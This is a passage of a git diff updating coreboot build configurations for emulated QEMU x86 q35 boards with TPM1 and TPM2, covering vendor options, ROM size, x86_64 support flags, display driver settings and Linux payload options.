CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -501,10 +531,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -541,7 +569,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 3282918cf..a9058fa7f 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -41,7 +40,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -59,10 +57,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -71,22 +70,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -97,6 +102,7 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -107,7 +113,9 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" CONFIG_MAINBOARD_VERSION="1.0" @@ -123,17 +131,26 @@ CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_OVERRIDE_DEVICETREE="" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VBOOT_VBNV_OFFSET=0x2c # CONFIG_CHROMEOS is not set -CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -# CONFIG_CONSOLE_POST is not set +CONFIG_MAX_SOCKET=1 CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set # CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set @@ -143,10 +160,8 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_QEMU_SBSA is not set # CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0x10000 CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -156,22 +171,22 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PCIEXP_HOTPLUG_BUSES=32 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_BOARD_ROMSIZE_KB_16384=y +CONFIG_BOARD_ROMSIZE_KB_8192=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set # CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set @@ -208,7 +223,7 @@ CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 @@ -222,6 +237,7 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -241,6 +257,7 @@ CONFIG_UDELAY_TSC=y CONFIG_UNKNOWN_TSC_RATE=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_ASEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -287,6 +304,7 @@ CONFIG_MAINBOARD_HAS_CHROMEOS=y # # end of ChromeOS +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -294,7 +312,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 @@ -304,10 +322,17 @@ CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y # CONFIG_BOOTBLOCK_NORMAL is not set CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -327,7 +352,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -356,6 +381,9 @@ CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y # Generic Drivers # CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +# CONFIG_DRIVERS_OPTION_CFR is not set +# CONFIG_SMMSTORE is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -365,8 +393,9 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 +CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y +CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set @@ -404,15 +433,14 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y # CONFIG_TPM2 is not set CONFIG_TPM=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -443,6 +471,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y # # Console @@ -491,6 +520,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -501,10 +531,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -541,7 +569,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set diff --git a/config/coreboot-qemu-tpm2-prod.config b/config/coreboot-qemu-tpm2-prod.config index e1dee0ecc..788f45d62 100644 --- a/config/coreboot-qemu-tpm2-prod.config +++ b/config/coreboot-qemu-tpm2-prod.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -41,7 +40,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -59,10 +57,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -71,22 +70,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -97,6 +102,7 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -107,7 +113,9 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" CONFIG_MAINBOARD_VERSION="1.0" @@ -123,17 +131,26 @@ CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_OVERRIDE_DEVICETREE="" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VBOOT_VBNV_OFFSET=0x2c # CONFIG_CHROMEOS is not set -CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -# CONFIG_CONSOLE_POST is not set +CONFIG_MAX_SOCKET=1 CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set # CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set @@ -143,10 +160,8 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_QEMU_SBSA is not set # CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0x10000 CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -156,19 +171,19 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="console=ttyS0,115200 console=tty quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y +CONFIG_BOARD_ROMSIZE_KB_8192=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set # CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set @@ -205,7 +220,7 @@ CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 @@ -219,6 +234,7 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -238,6 +254,7 @@ CONFIG_UDELAY_TSC=y CONFIG_UNKNOWN_TSC_RATE=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_ASEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -284,6 +301,7 @@ CONFIG_MAINBOARD_HAS_CHROMEOS=y # # end of ChromeOS +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -291,7 +309,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 @@ -301,10 +319,17 @@ CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y # CONFIG_BOOTBLOCK_NORMAL is not set CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -324,6 +349,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -349,6 +375,9 @@ CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y # Generic Drivers # CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +# CONFIG_DRIVERS_OPTION_CFR is not set +# CONFIG_SMMSTORE is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -358,8 +387,9 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1440 -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=810 +CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y +CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set @@ -397,12 +427,10 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set # CONFIG_TPM1 is not set CONFIG_TPM2=y CONFIG_TPM=y # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y # CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" @@ -435,7 +463,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y # # Console @@ -484,6 +512,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -494,10 +523,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -534,7 +561,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index ec5619850..503c7bfe9 100644 --- a/config/coreboot-qemu-tpm2.config +++ 